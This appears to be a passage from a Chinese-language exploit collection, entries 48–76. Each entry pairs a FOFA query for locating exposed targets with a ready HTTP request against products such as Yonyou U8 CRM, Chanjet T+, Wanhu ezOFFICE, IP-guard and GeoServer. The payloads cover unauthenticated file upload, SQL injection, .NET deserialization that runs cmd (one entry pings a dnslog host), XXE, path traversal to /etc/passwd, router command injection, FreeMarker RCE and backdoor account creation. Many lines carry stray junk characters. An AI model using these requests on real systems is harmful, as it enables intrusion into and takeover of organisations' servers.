7 K2 i5 f$ L" W+ {5 X: w- lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* V& P' r- z  v& N/ l" `# SAccept-Encoding: gzip, deflate, br
& C/ k, G% q: e/ t3 n; g+ T5 b' vAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
5 r3 A5 U8 |" DConnection: close



$ v6 G- i: W) V. F/ i48. 用友U8 CRM swfupload 任意文件上传
; L9 k6 g  Z1 IFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
+ a, C5 _' f( @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ p; F1 _& q  ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 m1 n& `5 J2 }/ B: ZAccept-Encoding: gzip, deflate
6 V1 l6 P% V. o% a7 UContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
" U) w$ {! `! a3 t------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
' X4 W0 k+ \/ u. F8 ~) `1231
1 S5 Z3 ^6 m1 r1 `" ?$ n( L/ {Content-Type: application/octet-stream
------269520967239406871642430066855
) p# P% h2 E7 {' {, z& OContent-Disposition: form-data; name="upload"
* U. M  z+ ^; F& X. Q! q4 Aupload
------269520967239406871642430066855--
! n/ k" Q- |  [" o9 Y; n# Z

5 z7 Q3 \# W: Y49. 用友U8 CRM系统uploadfile.php接口任意文件上传
  y+ Y3 P3 y8 p# `$ k: R! |FOFA：body="用友U8CRM"

: V) Z) j; I% h) I: i1 m" dPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
+ b/ ~' Q) U0 r$ R# j8 _7 q+ {# Q6 oHost: x.x.x.x
% g2 Q6 V9 q- q* {1 e" [) L5 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
- M2 W6 M+ o# i+ _. E; fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
! x1 x( S! v: [* n0 d5 Z, A2 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ S1 B* N( `, i3 A7 _8 bConnection: close
; A) `9 a7 W& d% ^- `/ b, G) Y- c* s' ~Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
4 c! e8 r3 |! `1 u9 i# S( i- |Content-Type: application/octet-stream

2 J7 t3 L+ ]' h7 Y& Owersqqmlumloqa
* }0 Q, l3 E  O. h; \" M-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
; [5 K0 o) Y4 i% l" c
upload
! ]( f; \8 D8 i! I* K-----------------------------vvv3wdayqv3yppdxvn3w--
; z( F2 N/ D' K4 M
2 G4 E8 v9 N# p8 z
http://x.x.x.x/tmpfile/updB3CB.tmp.php
) y) B. b8 X$ J' F' f5 o
6 s( k6 g! M9 ]  q" f50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
7 r5 Z% }2 e( ~1 R9 X/ M3 N9 k  M8 vPOST /course/filterRecords/ HTTP/1.1
& G) s+ C! B5 x) ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

/ C7 y) f0 Z+ Tsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
6 n$ y, B: b' ]" O) C

6 x! }0 f7 ^! J/ f51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& f8 c# W6 ~: \  c% _FOFA：app="云时空社会化商业ERP系统"
" Z! f( b9 `% E/ w7 HGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
) Q% s; u- R! _! S# U( YUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
7 S1 N5 L1 q0 j4 \" ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 i8 h+ c3 w" k$ ?1 ^2 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


52. 泛微E-Office json_common.php sql注入
, j* g6 G* E5 j1 ^% E1 X3 }1 M1 HFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
6 ]! q  W0 K- S9 f8 T  i% m9 uUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
# \- [% W1 F7 B$ gContent-Length: 87
Accept: */*
) i. v) D! r# Y1 c6 w4 H: `0 Q4 nAccept-Language: en
Content-Type: application/x-www-form-urlencoded
% \) t/ k+ B  t3 V* zAccept-Encoding: gzip

9 Q0 A+ G7 ^9 \. M3 Wtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
# v& a2 V% R. j9 T5 \/ c7 F
; S# h1 O; S0 u" A6 q) c: F
9 s. `5 R/ Z* ^+ g0 G53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
% ~0 ]% t' W0 \/ W

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


& `( B( R1 o; D- N9 {9 y  Z$ l完整数据包
" g) i8 \) l# I. a& {. z0 }# lPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
' G% U' ~  D- A, V; O3 L" }  ?# u. IContent-Length: 593

6 o- R( c7 X) f2 ~( I# u0 o{
"storeID":{
/ {4 p# Q2 \, S3 o+ ~ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
3 [% A1 }% t3 h. L "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
: n6 t& I% ?: ?0 Z+ c( y    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
( A' V0 `: R% Q. m3 y% S( P  S5 a  }
}
9 X" l9 V) [6 Z' t# v5 j

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


  p8 t% M' P  {8 l$ z2 j' Q" ^( H55. 畅捷通T+ getdecallusers信息泄露
  z7 t' Q  G4 g0 ]% TFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
; R$ K+ b0 T4 X: a. I6 d& V第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

0 {9 {( D! D* F* j6 @- _56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
  I' b2 U. Y) KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. {" o* g5 [" j; h9 D0 J, ]) i+ xContent-Type: application/json

4 U1 P; I: L2 B% S{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
& \# G  J* h( M" P( P9 U   "MethodName":"Start",
    "ObjectInstance":{
8 ~* w- H- h9 ?0 J$ u: h       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ z3 c6 ~( [* D5 f7 F        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
! T9 O( \, u$ S! I1 c  U, q) N6 T       }
    }
  }
  O* r7 r  b+ _. ]/ A/ b}
' Y) x& c1 d" A7 ]8 u( W4 x3 u
0 b( `) E9 |1 b* u0 w: @/ t
$ p! {, Z8 ]  d57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
3 l6 h  X) M% T9 S7 aHost: host
5 g& N1 W+ }- S8 @, [. SUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 R! C& ^" [1 [3 F* l( u( K  LAccept-Charset: utf-8
( j0 P( ^3 ?7 j. tAccept-Encoding: gzip, deflate
% F3 v" J) g4 R1 J8 ]4 Z3 m3 OConnection: close

, b6 n2 a2 q& I, y  I
58. 畅捷通T+ KeyInfoList.aspx sql注入
4 z4 m/ P( `1 A4 f' @3 |9 cFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
. X- s7 j  P6 U2 ^1 iHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ H" E2 U. Q* N! ^( vAccept-Encoding: gzip, deflate
- _8 V% P- S1 n4 P% AConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
. y& y" c% F( F2 ]! iPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
) x2 n* G; d& S0 ZConnection: close
Content-Length: 1669
( s, m$ `# J: ]; l" T% DAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
$ S* [9 W! }! J5 R7 FAccept-Encoding: gzip

PAYLOAD
, f7 n  Q% ]. Z' U
: t8 U" a% Z( |0 \, E/ X, C
60. 百卓Smart管理平台 importexport.php SQL注入
( _0 r# n6 `# T, |( |2 @FOFA：title="Smart管理平台"
% H  ~+ ~9 s% b) OGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 L9 S8 g; Q0 @7 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 p  v& @/ L  WAccept-Language: zh-CN,zh;q=0.9
8 t, r( |" e# H. Y; Y, ~Connection: close
" k2 |3 r0 t  m9 O" _
, F3 q8 |8 e% p. W
2 u* H: R7 I6 z' x2 l! D, o61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
/ `2 Z9 F5 R" H2 s2 QFOFA: title="欢迎使用浙大恩特客户资源管理系统"
/ P/ {7 M% r( f; H" V6 _( G' TPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
. u0 ^" d0 U4 l1 K' s; e. XHost: x.x.x.x
! t" Y5 N' o/ L; N; i4 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' Z" c5 F. u' ~$ N- n$ Z; pConnection: close
8 v8 i/ N. `6 Z. \Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
& x8 g* W) w: I* aAccept-Language: en
Content-Type: application/x-www-form-urlencoded
: f0 y" z8 u" k% h. N4 ^6 y& Y
5 P3 K( w; O; N- ^4 s! u8uxssX66eqrqtKObcVa0kid98xa

2 s: f" ^0 ~. r7 ]. ~/ J0 L9 J
+ j! y& P4 c; F5 f* I6 K6 e62. IP-guard WebServer 远程命令执行
# b: _+ g4 \+ r8 z) LFOFA："IP-guard" && icon_hash="2030860561"
# }+ P3 b& N& V- v: PGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
6 r4 d$ M8 L5 PAccept-Language: en
Accept-Encoding: gzip
" `% r5 _1 ~4 c- j7 ?. P

访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
. j; s( l% M0 P4 l0 w, _Host: x.x.x.x
! ?0 P8 H9 k) r6 [6 f3 }" `+ u
; |% Q! Z" R4 T& l6 o! h, l# n: P
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
  D. j/ w: \6 b' ~+ B' K0 mPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
" o, f+ W4 |) ], `( a. y- Y/ o; CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% H' R% V4 _: e. B' OAccept-Encoding: gzip, deflate
/ q5 h0 q6 f. E# g1 BAccept-Language: zh-CN,zh;q=0.9
Connection: close
* a) ~3 Y6 {# U6 J; M- dContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
$ P) u+ s' O# U; M7 b# e/ w
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! R' L7 \2 y! Y2 _" {/ c* ?) hFOFA：body="/Scripts/EnjoyMsg.js"
8 S& o# p+ P0 R) P5 V; Z3 UPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
4 t' x) f) l; Y' y, QUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
2 f( C7 V) T) x% f0 c3 JContent-Length: 369
Accept: */*
Accept-Language: en
, R+ e/ V( {4 e2 l" p9 e( N- WContent-Type: text/xml; charset=utf-8
0 j, k& z/ t2 Y1 hAccept-Encoding: gzip
1 r' [1 A' a) C- @
) s# v1 l6 p$ z, f1 _# q/ b- P<?xml version="1.0" encoding="utf-8"?>
' X. z) _7 K) Y2 Z3 ~" a8 I" \<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
9 W, c) t8 c* W6 v7 D$ g' \: k) X$ d    <GetOSpById xmlns="http://tempuri.org/">
; R- w+ J3 h1 w      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>
( T; `( b" Z% D, O5 G
: c% ?- D4 f3 @/ a# j) |. R0 Z
+ j3 G' M5 }# Y# ~' ~6 e8 i65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
. B0 ~* o( ?& u/ z9 X$ JFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
0 B! l" c+ e/ }6 L! f% V& ]POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
7 z2 X7 h0 R# T% h$ Q, N/ ^* @Accept-Encoding: gzip, deflate
! s$ }' ]  l' iAccept: */*
  q4 Y" I! f$ }3 M, R% AConnection: close
Accept-Language: en
3 T4 z; u' n& O) n, L$ e% K" Q/ u+ FContent-Length: 174
. a9 W# p3 v3 o/ q+ F' L* z8 M- r
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
- m' q+ |" f) `! ]) R
7 F0 |2 W$ K2 M. _2 q  o
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
3 Y4 S5 N0 G+ X3 V& x* U+ r
% ?7 j$ g& M5 I+ W& UGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
" H9 W3 S* Y: w1 RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 Z: K: x" @; h9 \0 h& ~Connection: close
- ?/ K/ Q( i8 E" u3 i. `6 J; DAccept: */*
* M) Z/ ]9 a; P6 o4 N8 LAccept-Language: en
Accept-Encoding: gzip
, |1 G& F  {( j; f
0 ]7 a2 o' S0 u2 a
; ]. L0 G) _( [第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
. H0 ?6 a3 }  C2 Y% R
* j" C+ g9 ^" Z0 I1 ?- M* |0 U67. 万户ezOFFICE wpsservlet任意文件上传
% m; D& y" G% hFOFA：app="万户网络-ezOFFICE"
, z$ W" {* A, TnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
6 Z( D9 C" ]3 SPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
4 Q% _# ]8 g0 T! VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
6 `/ s- s( S6 `+ OContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
. A- p" F) k" n3 `/ ?$ c1 u2 R  ZDNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
: V2 R+ O/ l2 O/ F, S: c9 {: LContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
6 Q8 a9 J5 z6 p$ R# P- I0 j. V
' w( r/ b, `  Q# `/ {+ C<% out.print("sasdfghjkj");%>
+ e" M: R  E4 y9 N- u( {' u) B--ufuadpxathqvxfqnuyuqaozvseiueerp--

! b  l/ C: L1 _' I. v6 y
% ]1 E' ~# v# m8 P* `: E文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

0 l1 r0 ^' {9 r+ r% c, Q/ ?( x68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
9 ]1 h9 p7 J) y! I2 C+ \. ?Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
0 d2 c3 S. x+ m# ~Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
- X, `& r& P  d( d  P3 a8 IAccept-Language: zh-CN,zh;q=0.9
Connection: close

" y4 e- S# s0 b
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
. m9 K8 _  j2 G. l3 ~2 C  lGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
+ M1 F& q' [% h" X! i9 ?& ~User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
. B6 x% B: G5 A& ?5 j; BAccept-Encoding: gzip, deflate
4 d3 i8 n0 N& ]+ j5 [Accept: */*
1 {& U2 M& n( ^4 z* C! KConnection: keep-alive
6 _7 T% D" l) B5 j6 z

7 U, C; S. ^) d! t" m! S70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
. |' \" X  r' d6 L& qPOST /member/success.aspx HTTP/1.1
' \" k% X( v  g7 S% K7 l/ jHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
4 a8 \4 }7 r  Q$ DTYPE: C
: t( [2 V5 k# i& L2 [6 d% JContent-Length: 16702

__VIEWSTATE=PAYLOAD
. O* j" o* }4 g7 u  [6 E

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
7 u2 W8 n. w/ S0 h, f- _FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

! s1 _: A+ v$ i# ?2 z
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
$ Z1 k5 e4 H' I) C) h# U$ ZContent-Length: 583
$ c0 D1 u- F4 |" D- X  h! u" G" vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! C- d* w$ V. k9 z4 O9 V) x) l
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
/ f8 ]3 U: O! P2 J, {) E5 O7 g/ ~FOFA：icon_hash=”97540678”
; c6 n0 O+ D0 y1 Z: @$ ?: w) Z" EPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
1 F7 i, P+ D. L/ C& TConnection: close
5 G) u5 A# ^* U; H% V8 R& Z. \% l( yContent-Type: application/xml
8 J# Q. G) i0 zSL-CE-SUID: 3

2 z& d! r6 L/ u$ \PAYLOAD
1 q. g' V! J& q$ z: e

& z2 S# l$ k4 o1 q6 b% H) A74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
4 Y6 ?' M* r5 H  Z- _4 Q3 H! {1 ~PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
, V1 l5 U6 \/ `' [GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
, u2 x7 _+ |' `6 X, Q- X1 b, ~8 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
4 h: Z  {$ D: n: C8 h% hAccept-Encoding: gzip


& k1 ~& f( e& @5 g: S( JGET /cgi-bin/test28256.txt HTTP/1.1
0 G: l& U! D* w; f- c) ]( yHost: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
  f  A5 N/ I- U9 _* I- ?FOFA：title="掌上校园服务管理平台"
5 R! A6 ~3 V/ n  _POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
$ g2 c+ ]  H. n: Y0 o, z* sConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 C& O0 m* k. V/ z/ q6 s, R, kAccept-Encoding: gzip, deflate
! `% n$ L6 C$ w+ c5 A7 k6 B  bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
1 Y. r6 p, R, [! ^' KUpgrade-Insecure-Requests: 1

" K* |) g  f1 `0 u, v! K6 x0 B5 T{
" n1 |9 x% G1 o% O"command": "GetFZinfo",
) B# \! B/ G8 n! x% O  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
! ^; A4 y% A8 K* I/ y  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
. V# P, D2 [. \/ \/ l! j( ?}


4 T8 P# j$ W1 v; tGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
